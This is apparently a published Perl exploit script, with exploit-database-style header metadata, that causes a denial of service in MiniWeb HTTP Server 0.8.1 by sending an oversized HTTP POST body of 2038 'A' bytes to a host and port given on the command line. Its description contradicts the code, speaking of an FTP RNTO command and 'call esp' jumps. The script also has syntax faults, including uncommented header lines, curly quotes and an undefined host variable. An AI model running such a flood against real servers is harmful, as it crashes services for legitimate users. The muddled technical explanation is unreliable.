#!/usr/bin/perl

use IO::Socket;

Exploit Title: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 19 january 2024

Vendor Homepage: N/A

Download to demo: https://drive.google.com/file/d/1AVHSlsYj5Ukw9co9M2Ql6RsqCTzbI038/view?usp=sharing

Notification vendor: No reported

Tested Version: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denied of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=HbAy3RvHpAI

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $payload = "\x41" x 2038;

my $http_req = "POST /index.html HTTP/1.1\r\n";  
$http_req .= "Host: $ip\r\n";  
$http_req .= "From: header-data\r\n";  
$http_req .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";  
$http_req .= $payload;

my $socket = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => $port,
Proto => ‘tcp’
) or die "[-] Could not connect\n";

$socket->send($http_req);
$socket->close();

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print q {

                        _/|       
                       // o\      
                       || ._)    
                       //__\     
                       )___(   

  [+] MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: fernando.mengalli@gmail.com

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}